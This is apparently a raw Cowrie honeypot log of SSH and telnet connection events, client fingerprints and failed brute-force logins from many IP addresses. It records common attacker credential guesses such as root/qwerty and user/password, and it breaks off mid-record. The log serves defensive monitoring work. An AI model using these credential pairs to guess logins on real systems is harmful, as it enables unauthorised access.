{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:08.673046Z","src_ip":"165.154.137.186","session":"6765f3d13054","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:09.033016Z","src_ip":"2.57.122.209","session":"d6989a14fb0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":34188,"dst_ip":"159.203.135.109","dst_port":23,"session":"a02446c5e966","protocol":"telnet","message":"New connection: 170.64.224.25:34188 (159.203.135.109:23) [session: a02446c5e966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:09.869666Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:09.922933Z","src_ip":"165.154.137.186","session":"6765f3d13054","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:10.655865Z","src_ip":"2.57.122.209","session":"d6989a14fb0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":42476,"dst_ip":"10.17.0.5","dst_port":22,"session":"bacb106410b1","protocol":"ssh","message":"New connection: 165.154.137.186:42476 (10.17.0.5:22) [session: bacb106410b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:11.123726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:11.130683Z","src_ip":"165.154.137.186","session":"bacb106410b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:11.396128Z","src_ip":"165.154.137.186","session":"bacb106410b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:12.194936Z","src_ip":"165.154.137.186","session":"bacb106410b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:13.462883Z","src_ip":"165.154.137.186","session":"bacb106410b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":42492,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8649eafb373","protocol":"ssh","message":"New connection: 165.154.137.186:42492 (10.17.0.5:22) [session: e8649eafb373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:15.039834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:15.042794Z","src_ip":"165.154.137.186","session":"e8649eafb373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:15.316345Z","src_ip":"165.154.137.186","session":"e8649eafb373","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.215.121.209","src_port":33112,"dst_ip":"10.17.0.5","dst_port":22,"session":"9eed4261f745","protocol":"ssh","message":"New connection: 85.215.121.209:33112 (10.17.0.5:22) [session: 9eed4261f745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:15.780768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:15.784069Z","src_ip":"85.215.121.209","session":"9eed4261f745","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.50","src_port":57826,"dst_ip":"10.17.0.5","dst_port":22,"session":"be262caa23da","protocol":"ssh","message":"New connection: 101.47.159.50:57826 (10.17.0.5:22) [session: be262caa23da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:15.806764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:15.811148Z","src_ip":"101.47.159.50","session":"be262caa23da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:15.886691Z","src_ip":"85.215.121.209","session":"9eed4261f745","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:16.048391Z","src_ip":"101.47.159.50","session":"be262caa23da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:16.139074Z","src_ip":"165.154.137.186","session":"e8649eafb373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"blockchain2024","password":"blockchain2024","message":"login attempt [blockchain2024/blockchain2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:16.188676Z","src_ip":"85.215.121.209","session":"9eed4261f745","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raptor","message":"login attempt [root/raptor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:17.030565Z","src_ip":"101.47.159.50","session":"be262caa23da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:17.291193Z","src_ip":"85.215.121.209","session":"9eed4261f745","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:17.414117Z","src_ip":"165.154.137.186","session":"e8649eafb373","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39708,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd03164d284d","protocol":"telnet","message":"New connection: 170.64.224.25:39708 (159.203.135.109:23) [session: bd03164d284d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:17.861642Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:18.271004Z","src_ip":"101.47.159.50","session":"be262caa23da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":42506,"dst_ip":"10.17.0.5","dst_port":22,"session":"403b70581b59","protocol":"ssh","message":"New connection: 165.154.137.186:42506 (10.17.0.5:22) [session: 403b70581b59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:18.733409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:18.736866Z","src_ip":"165.154.137.186","session":"403b70581b59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:18.992096Z","src_ip":"165.154.137.186","session":"403b70581b59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39720,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a80d5bf2ef4","protocol":"telnet","message":"New connection: 170.64.224.25:39720 (159.203.135.109:23) [session: 4a80d5bf2ef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:19.050498Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:19.758579Z","src_ip":"165.154.137.186","session":"403b70581b59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:21.016908Z","src_ip":"165.154.137.186","session":"403b70581b59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":47414,"dst_ip":"159.203.135.109","dst_port":23,"session":"26708974f904","protocol":"telnet","message":"New connection: 107.6.151.170:47414 (159.203.135.109:23) [session: 26708974f904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:26.457344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:30.597731Z","src_ip":"8.210.75.243","session":"a05828896eeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:30.601476Z","src_ip":"8.210.75.243","session":"a05828896eeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":56782,"dst_ip":"10.17.0.5","dst_port":22,"session":"4951548787a3","protocol":"ssh","message":"New connection: 165.154.137.186:56782 (10.17.0.5:22) [session: 4951548787a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:30.764201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:30.768051Z","src_ip":"165.154.137.186","session":"4951548787a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:31.034083Z","src_ip":"165.154.137.186","session":"4951548787a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:31.839370Z","src_ip":"165.154.137.186","session":"4951548787a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.44720697402954,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:32.859816Z","src_ip":"183.91.11.226","session":"1a8fe1a52a4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:33.108262Z","src_ip":"165.154.137.186","session":"4951548787a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:38.019417Z","src_ip":"8.210.75.243","session":"f3aa5b0eed16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":23.155085802078247,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:42.205459Z","src_ip":"170.64.224.25","session":"4a80d5bf2ef4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":34720,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d3e208f8e4d","protocol":"ssh","message":"New connection: 165.154.137.186:34720 (10.17.0.5:22) [session: 5d3e208f8e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:42.881523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:42.885572Z","src_ip":"165.154.137.186","session":"5d3e208f8e4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39640,"dst_ip":"159.203.135.109","dst_port":23,"session":"2468ab542108","protocol":"telnet","message":"New connection: 170.64.224.25:39640 (159.203.135.109:23) [session: 2468ab542108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:42.979436Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-